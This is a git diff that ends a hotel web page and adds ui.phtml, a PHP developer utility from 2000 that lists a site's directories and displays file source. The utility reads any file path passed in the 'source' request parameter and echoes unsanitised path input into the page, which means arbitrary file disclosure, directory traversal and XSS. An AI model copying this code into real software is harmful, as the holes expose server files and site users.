+                               Located on Main Street, on the water's edge, you're within walking distance to the ferry docks, marina, carriage tours, shops and historic attractions. The Chippewa Hotel offers Mackinac-Vicotiran style and atmosphere while providing modern amenities and comfort.
+                               Located on Main Street, on the water's edge, you're within walking distance to the ferry docks, marina, carriage tours, shops and historic attractions. The Chippewa Hotel offers Mackinac-Vicotiran style and atmosphere while providing modern amenities and comfort.
+                       </div>
+                       <img src="assets/temp-detail-photo.jpg" width="197" height="131" alt="temp-detail-photo (3K)" class="detail-photo">
+                       <img src="assets/temp-detail-photo.jpg" width="197" height="131" alt="temp-detail-photo (3K)" class="detail-photo">
+                       <img src="assets/temp-detail-photo.jpg" width="197" height="131" alt="temp-detail-photo (3K)" class="detail-photo">
+                       <div class="clearer"></div>
+               </div><!-- #details -->
+       </div><!-- #content-inside -->
+  <img src="assets/nav-inside.gif" width="232" height="768" alt="nav-inside (19K)" id="nav-inside" usemap="#Map" border="0">
+       <img src="assets/temp-banner.gif" width="468" height="60" alt="temp-banner (11K)" id="banner-inside">
+</div><!-- #wrapper -->        
+</body>
+</html>
diff --git a/ui.phtml b/ui.phtml
new file mode 100644 (file)
index 0000000..ffc1c1a
--- /dev/null
+++ b/ui.phtml
@@ -0,0 +1,263 @@
+<?
+
+/*
+
+ User Interface Development Utility
+
+ Permits developer to move through all direcrories of a site
+ and display all view and html files.
+
+*/
+
+
+include( "siteinfo.inc" );
+include( "functions.inc" );
+
+switch( $Action )
+       {
+       
+       case "Source":
+               echo '<HTML>
+                     <HEAD>
+                         <TITLE>Gaslight Media - User Interface Development</TITLE>
+                        </HEAD>
+                        <BODY BGCOLOR="#ffffff">
+                         <TABLE BORDER="0">
+                               <TR>
+                                       <TD VALIGN="top">
+                                         <DL>
+                                          <DD>
+                                                       <FONT SIZE=6>F</FONT><FONT SIZE=3> I L E </FONT>&nbsp;&nbsp;
+                                                       <FONT SIZE=6>S</FONT><FONT SIZE=3> O U R C E </FONT>
+                                          </DL>
+                                       </TD>
+                         </TABLE>
+                         <HR><BR>
+                         <P>
+                         <B>File:</B> '.$source.'<P>
+                         <PRE><BR>';
+                                       
+               $fcontents = file( $source );
+               while( list($line_num,$line) = each($fcontents) ) 
+                       printf( "<B>%6s:</B> %s", $line_num, htmlspecialchars( $line ) );
+       
+               echo '          </PRE>
+                               </BODY>
+                         </HTML>
+                        ';
+       
+               exit;
+               break;
+       
+       case "SwapCond":
+               if( !($f = file_get( $source ) ) )
+                       return( "ERROR: View file $file_name not found or unreadable." );
+                 else
+                       {
+                       $x = preg_replace( "/<!--\\{if:([^=]*?)=.*?\\}-->.*?<!--\\{else:\\1\\}(.*?)\\{\/if:\\1\\}-->/s", "\\2", $f );
+                       $x = preg_replace( "/<!--\\{if:([^=]*?)=.*?\\}-->.*?<!--\\{\/if:\\1\\}-->/s", "", $x );
+                       $x = eregi_replace( "<head>", "<head>\n<BASE HREF=\"$base/\">\n", $x );
+                       $x = preg_replace( "/<!--\\{exclude\\}-->.*?<!--\\{\/exclude\\}-->/s", "", $x );
+                       $x = str_replace( "<!--{include}", "", $x );
+                       $x = str_replace( "{/include}-->", "", $x );
+                       echo $x;
+                       }
+               exit;
+               break;
+       
+       default:
+               break;
+               
+       }
+
+echo '<HTML>
+                 <HEAD>
+                  <TITLE>Gaslight Media - User Interface Development</TITLE>
+                 </HEAD>
+                 <BODY BGCOLOR="#ffffff">
+                  <TABLE BORDER="0">
+                        <TR>
+                                <TD VALIGN="top">
+                                  <DL>
+                                   <DD>
+                                               <FONT SIZE=6>U</FONT><FONT SIZE=3> S E R </FONT>&nbsp;&nbsp;
+                                               <FONT SIZE=6>I</FONT><FONT SIZE=3> N T E R F A C E </FONT>
+                                               <FONT SIZE=6>D</FONT><FONT SIZE=3> E V E L O P M E N T </FONT>&nbsp;&nbsp;
+                                   </DL>
+                                </TD>
+                  </TABLE>
+                  <HR><BR>
+          ';
+
+
+       // Function to go up one directory
+       
+function up_path( $p )
+       {
+       $pa = explode( "/", $p );
+       
+       if( count($pa) < 2 )
+               return( "/" );
+               
+       for( $i=1 ; $i<count($pa)-1 ; $i++ )
+               $s .= "/".$pa[$i];
+
+       return( $s );
+       }
+
+
+       // Collect data on files and directories for the current path
+
+if( empty($path) )                                                     // If this is the first time here start at base path
+       $path = "/";
+
+if( ($pp = $path) != "/" )                                             // $pp is used to put together final paths 
+       $pp = $path."/";
+
+$d = opendir( SI_BASE_PATH.$path );                    // Open the directory for reading
+       
+while( $f = readdir($d) )                                      // Save view files and directories at current directory
+        {
+        if( strncmp( $f, "view.", 5 ) == 0 )
+               $views[] = $f;
+          else
+               {
+               if( eregi( "\.htm[l]*$", $f ) )
+                       $html[] = $f;
+               if( eregi( "\.phtml$", $f ) || eregi( "\.php$", $f ) || eregi( "\.inc$", $f ) )
+                       $phtml[] = $f;          
+               }
+               
+           if( filetype( SI_BASE_PATH.$pp.$f ) == "dir" && strncmp($f,".",1) != 0 && $f != "CVS" )
+               $dirs[] = $f;
+        }
+
+
+       // Sort output 
+
+if( count($views) > 0 )                                                // Sort them for easy reference
+       {
+       sort( $views );
+       reset( $views );
+       }
+if( count($html) > 0 )                                         // Sort them for easy reference
+       {
+       sort( $html );
+       reset( $html );
+       }
+if( count($phtml) > 0 )                                                // Sort them for easy reference
+       {
+       sort( $phtml );
+       reset( $phtml );
+       }
+if( count($dirs) > 0 )
+       {
+       sort( $dirs );
+       reset( $dirs );
+       }
+
+
+       
+echo '
+        <CENTER>
+                <FONT SIZE="5"><B>Path:</B></FONT><FONT SIZE="5" COLOR="blue"> '.$path.'</FONT>
+                <BR>
+                <TABLE BORDER="0" WIDTH="100%">
+                       <TR>
+                               <TD ALIGN="center" VALIGN="top">
+                                       <H2>Views</H2>
+                                       <P>
+                                       <TABLE BORDER="1">
+     ';
+
+if( count($views) > 0 )
+       foreach( $views as $v )
+        echo '<TR>
+                       <TD ALIGN="left">&nbsp;<A HREF="'.SI_BASE_URL.$pp.$v.'" TARGET="show">'.$v.'</A>&nbsp;</TD>
+                               <TD ALIGN="center">
+                                       &nbsp;<A HREF="'.SI_THIS_SCRIPT.'?Action=SwapCond&source='.SI_BASE_PATH.$pp.$v.'&base='.SI_BASE_URL.$path.'" TARGET="swap">[Swap]</A>
+                                       &nbsp;<A HREF="'.SI_THIS_SCRIPT.'?Action=Source&source='.SI_BASE_PATH.$pp.$v.'" TARGET="source">[Source]</A>
+                                       &nbsp;
+                               </TD>
+                 </TR>
+             ';
+       else
+               echo '<TR><TD ALIGN="center">&nbsp;(no view files in this directory)&nbsp;</TD></TR>
+                        ';
+
+
+echo '                                 </TABLE>
+                                       <P>
+                                       <H2>HTML Files</H2>
+                                       <TABLE BORDER="1">
+     ';
+
+if( count($html) > 0 )
+       foreach( $html as $h )
+        echo '<TR>
+                       <TD ALIGN="left">&nbsp;<A HREF="'.SI_BASE_URL.$pp.$h.'" TARGET="show">'.$h.'</A>&nbsp;</TD>
+                               <TD ALIGN="center">&nbsp;<A HREF="'.SI_THIS_SCRIPT.'?Action=Source&source='.SI_BASE_PATH.$pp.$h.'" TARGET="source">[Source]</A>&nbsp;</TD>
+                         </TR>
+             ';
+       else
+               echo '<TR><TD ALIGN="center">&nbsp;(no HTML in this directory)&nbsp;</TD></TR>
+                        ';
+
+
+echo '                                 </TABLE>
+                                               </TD>
+                                               <TD ALIGN="center" VALIGN="top">
+                                       <H2>Directories</H2>
+                                       <P>
+                                                       <TABLE BORDER="1">
+     ';
+
+if( $path != "/" )                                                     // If we're not at the root of the site, provide a ".." option
+       echo '<TR><TD ALIGN="left"><A HREf="'.SI_THIS_SCRIPT.'?path='.up_path($path).'">&nbsp;(parent)&nbsp;</A></TD></TR>
+                ';
+
+if( count($dirs) > 0 )
+foreach( $dirs as $f )
+        echo '<TR><TD ALIGN="left"><A HREF="'.SI_THIS_SCRIPT.'?path='.$pp.$f.'">'.$f.'</A></TD></TR>
+             ';
+       else
+               echo '<TR><TD ALIGN="center">&nbsp;(no sub-directories at this level)&nbsp;</TD></TR>
+                        ';
+
+
+echo '                                 </TABLE>
+                                       <P>
+                                       <H2>PHP Files</H2>
+                                       <TABLE BORDER="1">
+     ';
+
+if( count($phtml) > 0 )
+       foreach( $phtml as $h )
+        echo '<TR>
+                       <TD ALIGN="left">&nbsp;<A HREF="'.SI_BASE_URL.$pp.$h.'" TARGET="show">'.$h.'</A>&nbsp;</TD>
+                               <TD ALIGN="center">&nbsp;<A HREF="'.SI_THIS_SCRIPT.'?Action=Source&source='.SI_BASE_PATH.$pp.$h.'" TARGET="source">[Source]</A>&nbsp;</TD>
+                         </TR>
+             ';
+       else
+               echo '<TR><TD ALIGN="center">&nbsp;(no PHP files in this directory)&nbsp;</TD></TR>
+                        ';
+
+
+echo '                                 </TABLE>
+                                               </TD>
+                                       </TR>
+                               </TABLE>
+                               <P>
+                       </CENTER>
+                  <HR>
+                  <CENTER>
+                    Copyright &copy; 2000
+                    <A HREF="http://www.gaslightmedia.com">Gaslight Media</A>
+                    All rights reserved
+                  </CENTER>
+                 </BODY>
+                </HTML>
+          ';
+
+
+?>